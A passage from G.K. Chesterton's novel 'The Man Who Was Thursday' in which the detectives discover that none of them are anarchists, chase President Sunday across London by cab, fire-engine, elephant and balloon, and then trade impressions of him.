another friend of yours, Syme." + +Syme spun round smartly, and stared backwards at the track which +they had travelled. He saw an irregular body of horsemen gathering +and galloping towards them in the gloom. He saw above the foremost +saddle the silver gleam of a sword, and then as it grew nearer the +silver gleam of an old man's hair. The next moment, with shattering +violence, he had swung the motor round and sent it dashing down the +steep side street to the sea, like a man that desired only to die. + +"What the devil is up?" cried the Professor, seizing his arm. + +"The morning star has fallen!" said Syme, as his own car went down +the darkness like a falling star. + +The others did not understand his words, but when they looked back +at the street above they saw the hostile cavalry coming round the +corner and down the slopes after them; and foremost of all rode the +good innkeeper, flushed with the fiery innocence of the evening +light. + +"The world is insane!" said the Professor, and buried his face in +his hands. + +"No," said Dr. Bull in adamantine humility, "it is I." + +"What are we going to do?" asked the Professor. + +"At this moment," said Syme, with a scientific detachment, "I think +we are going to smash into a lamppost." + +The next instant the automobile had come with a catastrophic jar +against an iron object. The instant after that four men had crawled +out from under a chaos of metal, and a tall lean lamp-post that had +stood up straight on the edge of the marine parade stood out, bent +and twisted, like the branch of a broken tree. + +"Well, we smashed something," said the Professor, with a faint +smile. "That's some comfort." + +"You're becoming an anarchist," said Syme, dusting his clothes +with his instinct of daintiness. + +"Everyone is," said Ratcliffe. + +As they spoke, the white-haired horseman and his followers came +thundering from above, and almost at the same moment a dark string +of men ran shouting along the sea-front. Syme snatched a sword, +and took it in his teeth; he stuck two others under his arm-pits, +took a fourth in his left hand and the lantern in his right, and +leapt off the high parade on to the beach below. + +The others leapt after him, with a common acceptance of such +decisive action, leaving the debris and the gathering mob above +them. + +"We have one more chance," said Syme, taking the steel out of his +mouth. "Whatever all this pandemonium means, I suppose the police +station will help us. We can't get there, for they hold the way. +But there's a pier or breakwater runs out into the sea just here, +which we could defend longer than anything else, like Horatius and +his bridge. We must defend it till the Gendarmerie turn out. Keep +after me." + +They followed him as he went crunching down the beach, and in a +second or two their boots broke not on the sea gravel, but on +broad, flat stones. They marched down a long, low jetty, running +out in one arm into the dim, boiling sea, and when they came to +the end of it they felt that they had come to the end of their +story. They turned and faced the town. + +That town was transfigured with uproar. All along the high parade +from which they had just descended was a dark and roaring stream +of humanity, with tossing arms and fiery faces, groping and +glaring towards them. The long dark line was dotted with torches +and lanterns; but even where no flame lit up a furious face, they +could see in the farthest figure, in the most shadowy gesture, an +organised hate. It was clear that they were the accursed of all +men, and they knew not why. + +Two or three men, looking little and black like monkeys, leapt +over the edge as they had done and dropped on to the beach. These +came ploughing down the deep sand, shouting horribly, and strove +to wade into the sea at random. The example was followed, and the +whole black mass of men began to run and drip over the edge like +black treacle. + +Foremost among the men on the beach Syme saw the peasant who had +driven their cart. He splashed into the surf on a huge +cart-horse, and shook his axe at them. + +"The peasant!" cried Syme. "They have not risen since the Middle +Ages." + +"Even if the police do come now," said the Professor mournfully, +"they can do nothing with this mob." + +"Nonsence!" said Bull desperately; "there must be some people +left in the town who are human." + +"No," said the hopeless Inspector, "the human being will soon be +extinct. We are the last of mankind." + +"It may be," said the Professor absently. Then he added in his +dreamy voice, "What is all that at the end of the 'Dunciad'? + +'Nor public flame; nor private, dares to shine; +Nor human light is left, nor glimpse divine! +Lo! thy dread Empire, Chaos, is restored; +Light dies before thine uncreating word: +Thy hand, great Anarch, lets the curtain fall; +And universal darkness buries all."' + +"Stop!" cried Bull suddenly, "the gendarmes are out." + +The low lights of the police station were indeed blotted and +broken with hurrying figures, and they heard through the darkness +the clash and jingle of a disciplined cavalry. + +"They are charging the mob!" cried Bull in ecstacy or alarm. + +"No," said Syme, "they are formed along the parade." + +"They have unslung their carbines," cried Bull dancing with +excitement. + +"Yes," said Ratcliffe, "and they are going to fire on us." + +As he spoke there came a long crackle of musketry, and bullets +seemed to hop like hailstones on the stones in front of them. + +"The gendarmes have joined them!" cried the Professor, and struck +his forehead. + +"I am in the padded cell," said Bull solidly. + +There was a long silence, and then Ratcliffe said, looking out +over the swollen sea, all a sort of grey purple-- + +"What does it matter who is mad or who is sane? We shall all be +dead soon." + +Syme turned to him and said-- + +"You are quite hopeless, then?" + +Mr. Ratcliffe kept a stony silence; then at last he said quietly-- + +"No; oddly enough I am not quite hopeless. There is one insane +little hope that I cannot get out of my mind. The power of this +whole planet is against us, yet I cannot help wondering whether +this one silly little hope is hopeless yet." + +"In what or whom is your hope?" asked Syme with curiosity. + +"In a man I never saw," said the other, looking at the leaden sea. + +"I know what you mean," said Syme in a low voice, "the man in the +dark room. But Sunday must have killed him by now." + +"Perhaps," said the other steadily; "but if so, he was the only +man whom Sunday found it hard to kill." + +"I heard what you said," said the Professor, with his back turned. +"I also am holding hard on to the thing I never saw." + +All of a sudden Syme, who was standing as if blind with +introspective thought, swung round and cried out, like a man +waking from sleep-- + +"Where is the Colonel? I thought he was with us!" + +"The Colonel! Yes," cried Bull, "where on earth is the Colonel?" + +"He went to speak to Renard," said the Professor. + +"We cannot leave him among all those beasts," cried Syme. "Let us +die like gentlemen if--" + +"Do not pity the Colonel," said Ratcliffe, with a pale sneer. "He +is extremely comfortable. He is--" + +"No! no! no!" cried Syme in a kind of frenzy, "not the Colonel too! +I will never believe it!" + +"Will you believe your eyes?" asked the other, and pointed to the +beach. + +Many of their pursuers had waded into the water shaking their +fists, but the sea was rough, and they could not reach the pier. +Two or three figures, however, stood on the beginning of the stone +footway, and seemed to be cautiously advancing down it. The glare +of a chance lantern lit up the faces of the two foremost. One face +wore a black half-mask, and under it the mouth was twisting about +in such a madness of nerves that the black tuft of beard wriggled +round and round like a restless, living thing. The other was the +red face and white moustache of Colonel Ducroix. They were in +earnest consultation. + +"Yes, he is gone too," said the Professor, and sat down on a +stone. "Everything's gone. I'm gone! I can't trust my own bodily +machinery. I feel as if my own hand might fly up and strike me." + +"When my hand flies up," said Syme, "it will strike somebody +else," and he strode along the pier towards the Colonel, the +sword in one hand and the lantern in the other. + +As if to destroy the last hope or doubt, the Colonel, who saw him +coming, pointed his revolver at him and fired. The shot missed +Syme, but struck his sword, breaking it short at the hilt. Syme +rushed on, and swung the iron lantern above his head. + +"Judas before Herod!" he said, and struck the Colonel down upon +the stones. Then he turned to the Secretary, whose frightful mouth +was almost foaming now, and held the lamp high with so rigid and +arresting a gesture, that the man was, as it were, frozen for a +moment, and forced to hear. + +"Do you see this lantern?" cried Syme in a terrible voice. "Do you +see the cross carved on it, and the flame inside? You did not make +it. You did not light it, Better men than you, men who could +believe and obey, twisted the entrails of iron and preserved the +legend of fire. There is not a street you walk on, there is not a +thread you wear, that was not made as this lantern was, by denying +your philosophy of dirt and rats. You can make nothing. You can +only destroy. You will destroy mankind; you will destroy the world. +Let that suffice you. Yet this one old Christian lantern you shall +not destroy. It shall go where your empire of apes will never have +the wit to find it." + +He struck the Secretary once with the lantern so that he staggered; +and then, whirling it twice round his head, sent it flying far out +to sea, where it flared like a roaring rocket and fell. + +"Swords!" shouted Syme, turning his flaming face ; to the three +behind him. "Let us charge these dogs, for our time has come to +die." + +His three companions came after him sword in hand. Syme's sword +was broken, but he rent a bludgeon from the fist of a fisherman, +flinging him down. In a moment they would have flung themselves +upon the face of the mob and perished, when an interruption came. +The Secretary, ever since Syme's speech, had stood with his hand +to his stricken head as if dazed; now he suddenly pulled off his +black mask. + +The pale face thus peeled in the lamplight revealed not so much +rage as astonishment. He put up his hand with an anxious authority. + +"There is some mistake," he said. "Mr. Syme, I hardly think you +understand your position. I arrest you in the name of the law." + +"Of the law?" said Syme, and dropped his stick. + +"Certainly!" said the Secretary. "I am a detective from Scotland +Yard," and he took a small blue card from his pocket. + +"And what do you suppose we are?" asked the Professor, and threw +up his arms. + +"You," said the Secretary stiffly, "are, as I know for a fact, +members of the Supreme Anarchist Council. Disguised as one of +you, I--" + +Dr. Bull tossed his sword into the sea. + +"There never was any Supreme Anarchist Council," he said. "We were +all a lot of silly policemen looking at each other. And all these +nice people who have been peppering us with shot thought we were +the dynamiters. I knew I couldn't be wrong about the mob," he said, +beaming over the enormous multitude, which stretched away to the +distance on both sides. "Vulgar people are never mad. I'm vulgar +myself, and I know. I am now going on shore to stand a drink to +everybody here." + + + +CHAPTER XIII + +THE PURSUIT OF THE PRESIDENT + +NEXT morning five bewildered but hilarious people took the boat for +Dover. The poor old Colonel might have had some cause to complain, +having been first forced to fight for two factions that didn't +exist, and then knocked down with an iron lantern. But he was a +magnanimous old gentleman, and being much relieved that neither +party had anything to do with dynamite, he saw them off on the pier +with great geniality. + +The five reconciled detectives had a hundred details to explain to +each other. The Secretary had to tell Syme how they had come to +wear masks originally in order to approach the supposed enemy as +fellow-conspirators; + +Syme had to explain how they had fled with such swiftness through +a civilised country. But above all these matters of detail which +could be explained, rose the central mountain of the matter that +they could not explain. What did it all mean? If they were all +harmless officers, what was Sunday? If he had not seized the world, +what on earth had he been up to? Inspector Ratcliffe was still +gloomy about this. + +"I can't make head or tail of old Sunday's little game any more +than you can," he said. "But whatever else Sunday is, he isn't +a blameless citizen. Damn it! do you remember his face?" + +"I grant you," answered Syme, "that I have never been able to +forget it." + +"Well," said the Secretary, "I suppose we can find out soon, for +tomorrow we have our next general meeting. You will excuse me," +he said, with a rather ghastly smile, "for being well acquainted +with my secretarial duties." + +"I suppose you are right," said the Professor reflectively. "I +suppose we might find it out from him; but I confess that I should +feel a bit afraid of asking Sunday who he really is." + +"Why," asked the Secretary, "for fear of bombs?" + +"No," said the Professor, "for fear he might tell me." + +"Let us have some drinks," said Dr. Bull, after a silence. + +Throughout their whole journey by boat and train they were highly +convivial, but they instinctively kept together. Dr. Bull, who had +always been the optimist of the party, endeavoured to persuade the +other four that the whole company could take the same hansom cab +from Victoria; but this was over-ruled, and they went in a +four-wheeler, with Dr. Bull on the box, singing. They finished +their journey at an hotel in Piccadilly Circus, so as to be close +to the early breakfast next morning in Leicester Square. Yet even +then the adventures of the day were not entirely over. Dr. Bull, +discontented with the general proposal to go to bed, had strolled +out of the hotel at about eleven to see and taste some of the +beauties of London. Twenty minutes afterwards, however, he came +back and made quite a clamour in the hall. Syme, who tried at +first to soothe him, was forced at last to listen to his +communication with quite new attention. + +"I tell you I've seen him!" said Dr. Bull, with thick emphasis. + +"Whom?" asked Syme quickly. "Not the President?" + +"Not so bad as that," said Dr. Bull, with unnecessary laughter, +"not so bad as that. I've got him here." + +"Got whom here?" asked Syme impatiently. + +"Hairy man," said the other lucidly, "man that used to be hairy +man--Gogol. Here he is," and he pulled forward by a reluctant +elbow the identical young man who five days before had marched +out of the Council with thin red hair and a pale face, the first +of all the sham anarchists who had been exposed. + +"Why do you worry with me?" he cried. "You have expelled me as a +spy." + +"We are all spies!" whispered Syme. + +"We're all spies!" shouted Dr. Bull. "Come and have a drink." + +Next morning the battalion of the reunited six marched stolidly +towards the hotel in Leicester Square. + +"This is more cheerful," said Dr. Bull; "we are six men going to +ask one man what he means." + +"I think it is a bit queerer than that," said Syme. "I think it +is six men going to ask one man what they mean." + +They turned in silence into the Square, and though the hotel was +in the opposite corner, they saw at once the little balcony and a +figure that looked too big for it. He was sitting alone with bent +head, poring over a newspaper. But all his councillors, who had +come to vote him down, crossed that Square as if they were watched +out of heaven by a hundred eyes. + +They had disputed much upon their policy, about whether they +should leave the unmasked Gogol without and begin diplomatically, +or whether they should bring him in and blow up the gunpowder at +once. The influence of Syme and Bull prevailed for the latter +course, though the Secretary to the last asked them why they +attacked Sunday so rashly. + +"My reason is quite simple," said Syme. "I attack him rashly +because I am afraid of him." + +They followed Syme up the dark stair in silence, and they all came +out simultaneously into the broad sunlight of the morning and the +broad sunlight of Sunday's smile. + +"Delightful!" he said. "So pleased to see you all. What an +exquisite day it is. Is the Czar dead?" + +The Secretary, who happened to be foremost, drew himself together +for a dignified outburst. + +"No, sir," he said sternly "there has been no massacre. I bring you +news of no such disgusting spectacles." + +"Disgusting spectacles?" repeated the President, with a bright, +inquiring smile. "You mean Dr. Bull's spectacles?" + +The Secretary choked for a moment, and the President went on with +a sort of smooth appeal-- + +"Of course, we all have our opinions and even our eyes, but really +to call them disgusting before the man himself--" + +Dr. Bull tore off his spectacles and broke them on the table. + +"My spectacles are blackguardly," he said, "but I'm not. Look at +my face." + +"I dare say it's the sort of face that grows on one," said the +President, "in fact, it grows on you; and who am I to quarrel +with the wild fruits upon the Tree of Life? I dare say it will +grow on me some day." + +"We have no time for tomfoolery," said the Secretary, breaking in +savagely. "We have come to know what all this means. Who are you? +What are you? Why did you get us all here? Do you know who and +what we are? Are you a half-witted man playing the conspirator, +or are you a clever man playing the fool? Answer me, I tell you." + +"Candidates," murmured Sunday, "are only required to answer eight +out of the seventeen questions on the paper. As far as I can make +out, you want me to tell you what I am, and what you are, and what +this table is, and what this Council is, and what this world is +for all I know. Well, I will go so far as to rend the veil of one +mystery. If you want to know what you are, you are a set of +highly well-intentioned young jackasses." + +"And you," said Syme, leaning forward, "what are you?" + +"I? What am I?" roared the President, and he rose slowly to an +incredible height, like some enormous wave about to arch above +them and break. "You want to know what I am, do you? Bull, you +are a man of science. Grub in the roots of those trees and find +out the truth about them. Syme, you are a poet. Stare at those +morning clouds. But I tell you this, that you will have found +out the truth of the last tree and the top-most cloud before the +truth about me. You will understand the sea, and I shall be still +a riddle; you shall know what the stars are, and not know what I +am. Since the beginning of the world all men have hunted me like +a wolf--kings and sages, and poets and lawgivers, all the +churches, and all the philosophies. But I have never been caught +yet, and the skies will fall in the time I turn to bay. I have +given them a good run for their money, and I will now." + +Before one of them could move, the monstrous man had swung himself +like some huge ourang-outang over the balustrade of the balcony. +Yet before he dropped he pulled himself up again as on a horizontal +bar, and thrusting his great chin over the edge of the balcony, +said solemnly-- + +"There's one thing I'll tell you though about who I am. I am the +man in the dark room, who made you all policemen." + +With that he fell from the balcony, bouncing on the stones below +like a great ball of india-rubber, and went bounding off towards +the corner of the Alhambra, where he hailed a hansom-cab and sprang +inside it. The six detectives had been standing thunderstruck and +livid in the light of his last assertion; but when he disappeared +into the cab, Syme's practical senses returned to him, and leaping +over the balcony so recklessly as almost to break his legs, he +called another cab. + +He and Bull sprang into the cab together, the Professor and the +Inspector into another, while the Secretary and the late Gogol +scrambled into a third just in time to pursue the flying Syme, who +was pursuing the flying President. Sunday led them a wild chase +towards the north-west, his cabman, evidently under the influence +of more than common inducements, urging the horse at breakneck +speed. But Syme was in no mood for delicacies, and he stood up in +his own cab shouting, "Stop thief!" until crowds ran along beside +his cab, and policemen began to stop and ask questions. All this +had its influence upon the President's cabman, who began to look +dubious, and to slow down to a trot. He opened the trap to talk +reasonably to his fare, and in so doing let the long whip droop +over the front of the cab. Sunday leant forward, seized it, and +jerked it violently out of the man's hand. Then standing up in +front of the cab himself, he lashed the horse and roared aloud, +so that they went down the streets like a flying storm. Through +street after street and square after square went whirling this +preposterous vehicle, in which the fare was urging the horse and +the driver trying desperately to stop it. The other three cabs +came after it (if the phrase be permissible of a cab) like panting +hounds. Shops and streets shot by like rattling arrows. + +At the highest ecstacy of speed, Sunday turned round on the +splashboard where he stood, and sticking his great grinning head +out of the cab, with white hair whistling in the wind, he made a +horrible face at his pursuers, like some colossal urchin. Then +raising his right hand swiftly, he flung a ball of paper in Syme's +face and vanished. Syme caught the thing while instinctively +warding it off, and discovered that it consisted of two crumpled +papers. One was addressed to himself, and the other to Dr. Bull, +with a very long, and it is to be feared partly ironical, string +of letters after his name. Dr. Bull's address was, at any rate, +considerably longer than his communication, for the communication +consisted entirely of the words:-- + +"What about Martin Tupper now?" + +"What does the old maniac mean?" asked Bull, staring at the words. +"What does yours say, Syme?" + +Syme's message was, at any rate, longer, and ran as follows:-- + +"No one would regret anything in the nature of an interference by +the Archdeacon more than I. I trust it will not come to that. But, +for the last time, where are your goloshes? The thing is too bad, +especially after what uncle said." + +The President's cabman seemed to be regaining some control over +his horse, and the pursuers gained a little as they swept round +into the Edgware Road. And here there occurred what seemed to the +allies a providential stoppage. Traffic of every kind was swerving +to right or left or stopping, for down the long road was coming +the unmistakable roar announcing the fire-engine, which in a few +seconds went by like a brazen thunderbolt. But quick as it went +by, Sunday had bounded out of his cab, sprung at the fire-engine, +caught it, slung himself on to it, and was seen as he disappeared +in the noisy distance talking to the astonished fireman with +explanatory gestures. + +"After him!" howled Syme. "He can't go astray now. There's no +mistaking a fire-engine." + +The three cabmen, who had been stunned for a moment, whipped +up their horses and slightly decreased the distance between +themselves and their disappearing prey. The President +acknowledged this proximity by coming to the back of the car, +bowing repeatedly, kissing his hand, and finally flinging a +neatly-folded note into the bosom of Inspector Ratcliffe. When +that gentleman opened it, not without impatience, he found it +contained the words:-- + +"Fly at once. The truth about your trouser-stretchers is known. +--A FRIEND." + +The fire-engine had struck still farther to the north, into a +region that they did not recognise; and as it ran by a line of high +railings shadowed with trees, the six friends were startled, but +somewhat relieved, to see the President leap from the fire-engine, +though whether through another whim or the increasing protest of +his entertainers they could not see. Before the three cabs, +however, could reach up to the spot, he had gone up the high +railings like a huge grey cat, tossed himself over, and vanished +in a darkness of leaves. + +Syme with a furious gesture stopped his cab, jumped out, and +sprang also to the escalade. When he had one leg over the fence +and his friends were following, he turned a face on them which +shone quite pale in the shadow. + +"What place can this be?" he asked. "Can it be the old devil's +house? I've heard he has a house in North London." + +"All the better," said the Secretary grimly, planting a foot in +a foothold, "we shall find him at home." + +"No, but it isn't that," said Syme, knitting his brows. "I hear +the most horrible noises, like devils laughing and sneezing and +blowing their devilish noses!" + +"His dogs barking, of course," said the Secretary. + +"Why not say his black-beetles barking!" said Syme furiously, +"snails barking! geraniums barking! Did you ever hear a dog bark +like that?" + +He held up his hand, and there came out of the thicket a long +growling roar that seemed to get under the skin and freeze the +flesh--a low thrilling roar that made a throbbing in the air +all about them. + +"The dogs of Sunday would be no ordinary dogs," said Gogol, and +shuddered. + +Syme had jumped down on the other side, but he still stood +listening impatiently. + +"Well, listen to that," he said, "is that a dog--anybody's dog?" + +There broke upon their ear a hoarse screaming as of things +protesting and clamouring in sudden pain; and then, far off +like an echo, what sounded like a long nasal trumpet. + +"Well, his house ought to be hell!" said the Secretary; "and if +it is hell, I'm going in!" and he sprang over the tall railings +almost with one swing. + +The others followed. They broke through a tangle of plants and +shrubs, and came out on an open path. Nothing was in sight, but +Dr. Bull suddenly struck his hands together. + +"Why, you asses," he cried, "it's the Zoo!" + +As they were looking round wildly for any trace of their wild +quarry, a keeper in uniform came running along the path with a +man in plain clothes. + +"Has it come this way?" gasped the keeper. + +"Has what?" asked Syme. + +"The elephant!" cried the keeper. "An elephant has gone mad and +run away!" + +"He has run away with an old gentleman," said the other stranger +breathlessly, "a poor old gentleman with white hair! " + +"What sort of old gentleman?" asked Syme, with great curiosity. + +"A very large and fat old gentleman in light grey clothes," said +the keeper eagerly. + +"Well," said Syme, "if he's that particular kind of old gentleman, +if you're quite sure that he's a large and fat old gentleman in +grey clothes, you may take my word for it that the elephant has +not run away with him. He has run away with the elephant. The +elephant is not made by God that could run away with him if he +did not consent to the elopement. And, by thunder, there he is!" + +There was no doubt about it this time. Clean across the space of +grass, about two hundred yards away, with a crowd screaming and +scampering vainly at his heels, went a huge grey elephant at an +awful stride, with his trunk thrown out as rigid as a ship's +bowsprit, and trumpeting like the trumpet of doom. On the back of +the bellowing and plunging animal sat President Sunday with all +the placidity of a sultan, but goading the animal to a furious +speed with some sharp object in his hand. + +"Stop him!" screamed the populace. "He'll be out of the gate!" + +"Stop a landslide!" said the keeper. "He is out of the gate!" + +And even as he spoke, a final crash and roar of terror announced +that the great grey elephant had broken out of the gates of the +Zoological Gardens, and was careening down Albany Street like a +new and swift sort of omnibus. + +"Great Lord!" cried Bull, "I never knew an elephant could go so +fast. Well, it must be hansom-cabs again if we are to keep him in +sight." + +As they raced along to the gate out of which the elephant had +vanished, Syme felt a glaring panorama of the strange animals in +the cages which they passed. Afterwards he thought it queer that +he should have seen them so clearly. He remembered especially +seeing pelicans, with their preposterous, pendant throats. He +wondered why the pelican was the symbol of charity, except it was +that it wanted a good deal of charity to admire a pelican. He +remembered a hornbill, which was simply a huge yellow beak with a +small bird tied on behind it. The whole gave him a sensation, the +vividness of which he could not explain, that Nature was always +making quite mysterious jokes. Sunday had told them that they +would understand him when they had understood the stars. He +wondered whether even the archangels understood the hornbill. + +The six unhappy detectives flung themselves into cabs and followed +the elephant sharing the terror which he spread through the long +stretch of the streets. This time Sunday did not turn round, but +offered them the solid stretch of his unconscious back, which +maddened them, if possible, more than his previous mockeries. Just +before they came to Baker Street, however, he was seen to throw +something far up into the air, as a boy does a ball meaning to +catch it again. But at their rate of racing it fell far behind, +just by the cab containing Gogol; and in faint hope of a clue or +for some impulse unexplainable, he stopped his cab so as to pick it +up. It was addressed to himself, and was quite a bulky parcel. On +examination, however, its bulk was found to consist of thirty-three +pieces of paper of no value wrapped one round the other. When the +last covering was torn away it reduced itself to a small slip of +paper, on which was written:-- + +"The word, I fancy, should be 'pink'." + +The man once known as Gogol said nothing, but the movements of his +hands and feet were like those of a man urging a horse to renewed +efforts. + +Through street after street, through district after district, went +the prodigy of the flying elephant, calling crowds to every window, +and driving the traffic left and right. And still through all this +insane publicity the three cabs toiled after it, until they came to +be regarded as part of a procession, and perhaps the advertisement +of a circus. They went at such a rate that distances were shortened +beyond belief, and Syme saw the Albert Hall in Kensington when he +thought that he was still in Paddington. The animal's pace was even +more fast and free through the empty, aristocratic streets of South +Kensington, and he finally headed towards that part of the sky-line +where the enormous Wheel of Earl's Court stood up in the sky. The +wheel grew larger and larger, till it filled heaven like the wheel +of stars. + +The beast outstripped the cabs. They lost him round several +corners, and when they came to one of the gates of the Earl's Court +Exhibition they found themselves finally blocked. In front of them +was an enormous crowd; in the midst of it was an enormous elephant, +heaving and shuddering as such shapeless creatures do. But the +President had disappeared. + +"Where has he gone to?" asked Syme, slipping to the ground. + +"Gentleman rushed into the Exhibition, sir!" said an official in a +dazed manner. Then he added in an injured voice: "Funny gentleman, +sir. Asked me to hold his horse, and gave me this." + +He held out with distaste a piece of folded paper, addressed: "To +the Secretary of the Central Anarchist Council." + +The Secretary, raging, rent it open, and found written inside it:-- + +"When the herring runs a mile, +Let the Secretary smile; +When the herring tries to fly, +Let the Secretary die. + Rustic Proverb." + +"Why the eternal crikey," began the Secretary, "did you let the +man in? Do people commonly come to you Exhibition riding on mad +elephants? Do--" + +"Look!" shouted Syme suddenly. "Look over there!" + +"Look at what?" asked the Secretary savagely. + +"Look at the captive balloon!" said Syme, and pointed in a frenzy. + +"Why the blazes should I look at a captive balloon?' demanded the +Secretary. "What is there queer about a captive balloon?" + +"Nothing," said Syme, "except that it isn't captive!' + +They all turned their eyes to where the balloon swung and swelled +above the Exhibition on a string, like a child's balloon. A second +afterwards the string came in two just under the car, and the +balloon, broken loose, floated away with the freedom of a soap +bubble. + +"Ten thousand devils!" shrieked the Secretary. "He's got into it!" +and he shook his fists at the sky. + +The balloon, borne by some chance wind, came right above them, and +they could see the great white head of the President peering over +the side and looking benevolently down on them. + +"God bless my soul!" said the Professor with the elderly manner +that he could never disconnect from his bleached beard and +parchment face. "God bless my soul! I seemed to fancy that +something fell on the top of my hat!" + +He put up a trembling hand and took from that shelf a piece of +twisted paper, which he opened absently only to find it inscribed +with a true lover's knot and, the words:-- + +"Your beauty has not left me indifferent.--From LITTLE SNOWDROP. " + +There was a short silence, and then Syme said, biting his beard-- + +"I'm not beaten yet. The blasted thing must come down somewhere. +Let's follow it!" + + + +CHAPTER XIV + +THE SIX PHILOSOPHERS + +ACROSS green fields, and breaking through blooming hedges, toiled +six draggled detectives, about five miles out of London. The +optimist of the party had at first proposed that they should +follow the balloon across South England in hansom-cabs. But he +was ultimately convinced of the persistent refusal of the balloon +to follow the roads, and the still more persistent refusal of the +cabmen to follow the balloon. Consequently the tireless though +exasperated travellers broke through black thickets and ploughed +through ploughed fields till each was turned into a figure too +outrageous to be mistaken for a tramp. Those green hills of +Surrey saw the final collapse and tragedy of the admirable light +grey suit in which Syme had set out from Saffron Park. His silk +hat was broken over his nose by a swinging bough, his coat-tails +were torn to the shoulder by arresting thorns, the clay of +England was splashed up to his collar; but he still carried his +yellow beard forward with a silent and furious determination, and +his eyes were still fixed on that floating ball of gas, which in +the full flush of sunset seemed coloured like a sunset cloud. + +"After all," he said, "it is very beautiful!" + +"It is singularly and strangely beautiful!" said the Professor. "I +wish the beastly gas-bag would burst!" + +"No," said Dr. Bull, "I hope it won't. It might hurt the old boy." + +"Hurt him!" said the vindictive Professor, "hurt him! Not as much +as I'd hurt him if I could get up with him. Little Snowdrop!" + +"I don't want him hurt, somehow," said Dr. Bull. + +"What!" cried the Secretary bitterly. "Do you believe all that tale +about his being our man in the dark room? Sunday would say he was +anybody." + +"I don't know whether I believe it or not," said Dr. Bull. "But it +isn't that that I mean. I can't wish old Sunday's balloon to burst +because--" + +"Well," said Syme impatiently, "because?" + +"Well, because he's so jolly like a balloon himself," said Dr. Bull +desperately. "I don't understand a word of all that idea of his +being the same man who gave us all our blue cards. It seems to make +everything nonsense. But I don't care who knows it, I always had a +sympathy for old Sunday himself, wicked as he was. Just as if he +was a great bouncing baby. How can I explain what my queer sympathy +was? It didn't prevent my fighting him like hell! Shall I make it +clear if I say that I liked him because he was so fat?" + +"You will not," said the Secretary. + +"I've got it now," cried Bull, "it was because he was so fat and so +light. Just like a balloon. We always think of fat people as heavy, +but he could have danced against a sylph. I see now what I mean. +Moderate strength is shown in violence, supreme strength is shown +in levity. It was like the old speculations--what would happen if +an elephant could leap up in the sky like a grasshopper?" + +"Our elephant," said Syme, looking upwards, "has leapt into the +sky like a grasshopper." + +"And somehow," concluded Bull, "that's why I can't help liking old +Sunday. No, it's not an admiration of force, or any silly thing +like that. There is a kind of gaiety in the thing, as if he were +bursting with some good news. Haven't you sometimes felt it on a +spring day? You know Nature plays tricks, but somehow that day +proves they are good-natured tricks. I never read the Bible myself, +but that part they laugh at is literal truth, 'Why leap ye, ye high +hills?' The hills do leap--at least, they try to. . . . Why do I +like Sunday? . . . how can I tell you? . . . because he's such a +Bounder." + +There was a long silence, and then the Secretary said in a curious, +strained voice-- + +"You do not know Sunday at all. Perhaps it is because you are +better than I, and do not know hell. I was a fierce fellow, and a +trifle morbid from the first. The man who sits in darkness, and +who chose us all, chose me because I had all the crazy look of a +conspirator--because my smile went crooked, and my eyes were +gloomy, even when I smiled. But there must have been something in +me that answered to the nerves in all these anarchic men. For when +I first saw Sunday he expressed to me, not your airy vitality, but +something both gross and sad in the Nature of Things. I found him +smoking in a twilight room, a room with brown blind down, +infinitely more depressing than the genial darkness in which our +master lives. He sat there on a bench, a huge heap of a man, dark +and out of shape. He listened to all my words without speaking or +even stirring. I poured out my most passionate appeals, and asked +my most eloquent questions. Then, after a long silence, the Thing +began to shake, and I thought it was shaken by some secret malady. +It shook like a loathsome and living jelly. It reminded me of +everything I had ever read about the base bodies that are the +origin of life--the deep sea lumps and protoplasm. It seemed like +the final form of matter, the most shapeless and the most shameful. +I could only tell myself, from its shudderings, that it was +something at least that such a monster could be miserable. And +then it broke upon me that the bestial mountain was shaking with +a lonely laughter, and the laughter was at me. Do you ask me to +forgive him that? It is no small thing to be laughed at by +something at once lower and stronger than oneself." + +"Surely you fellows are exaggerating wildly," cut in the clear +voice of Inspector Ratcliffe. "President Sunday is a terrible +fellow for one's intellect, but he is not such a Barnum's freak +physically as you make out. He received me in an ordinary office, +in a grey check coat, in broad daylight. He talked to me in an +ordinary way. But I'll tell you what is a trifle creepy about +Sunday. His room is neat, his clothes are neat, everything seems +in order; but he's absent-minded. Sometimes his great bright eyes +go quite blind. For hours he forgets that you are there. Now +absent-mindedness is just a bit too awful in a bad man. We think +of a wicked man as vigilant. We can't think of a wicked man who is +honestly and sincerely dreamy, because we daren't think of a wicked +man alone with himself. An absentminded man means a good-natured +man. It means a man who, if he happens to see you, will apologise. +But how will you bear an absentminded man who, if he happens to see +you, will kill you? That is what tries the nerves, abstraction +combined with cruelty. Men have felt it sometimes when they went +through wild forests, and felt that the animals there were at once +innocent and pitiless. They might ignore or slay. How would you +like to pass ten mortal hours in a parlour with an absent-minded +tiger?" + +"And what do you think of Sunday, Gogol?" asked Syme. + +"I don't think of Sunday on principle," said Gogol simply, "any +more than I stare at the sun at noonday." + +"Well, that is a point of view," said Syme thoughtfully. "What do +you say, Professor?" + +The Professor was walking with bent head and trailing stick, and +he did not answer at all. + +"Wake up, Professor!" said Syme genially. "Tell us what you think +of Sunday." + +The Professor spoke at last very slowly. + +"I think something," he said, "that I cannot say clearly. Or, +rather, I think something that I cannot even think clearly. But +it is something like this. My early life, as you know, was a bit +too large and loose. + +Well, when I saw Sunday's face I thought it was too large-- +everybody does, but I also thought it was too loose. The face +was so big, that one couldn't focus it or make it a face at all. +The eye was so far away from the nose, that it wasn't an eye. +The mouth was so much by itself, that one had to think of it by +itself. The whole thing is too hard to explain." + +He paused for a little, still trailing his stick, and then went +on-- + +"But put it this way. Walking up a road at night, I have seen a +lamp and a lighted window and a cloud make together a most complete +and unmistakable face. If anyone in heaven has that face I shall +know him again. Yet when I walked a little farther I found that +there was no face, that the window was ten yards away, the lamp ten +hundred yards, the cloud beyond the world. Well, Sunday's face +escaped me; it ran away to right and left, as such chance pictures +run away. And so his face has made me, somehow, doubt whether there +are any faces. I don't know whether your face, Bull, is a face or a +combination in perspective. Perhaps one black disc of your beastly +glasses is quite close and another fifty miles away. Oh, the doubts +of a materialist are not worth a dump. Sunday has taught me the +last and the worst doubts, the doubts of a spiritualist. I am a +Buddhist, I suppose; and Buddhism is not a creed, it is a doubt. My +poor dear Bull, I do not believe that you really have a face. I +have not faith enough to believe in matter." + +Syme's eyes were still fixed upon the errant orb, which, reddened +in the evening light, looked like some rosier and more innocent +world. + +"Have you noticed an odd thing," he said, "about all your +descriptions? Each man of you finds Sunday quite different, yet +each man of you can only find one thing to compare him to--the +universe itself. Bull finds him like the earth in spring, Gogol +like the sun at noonday. 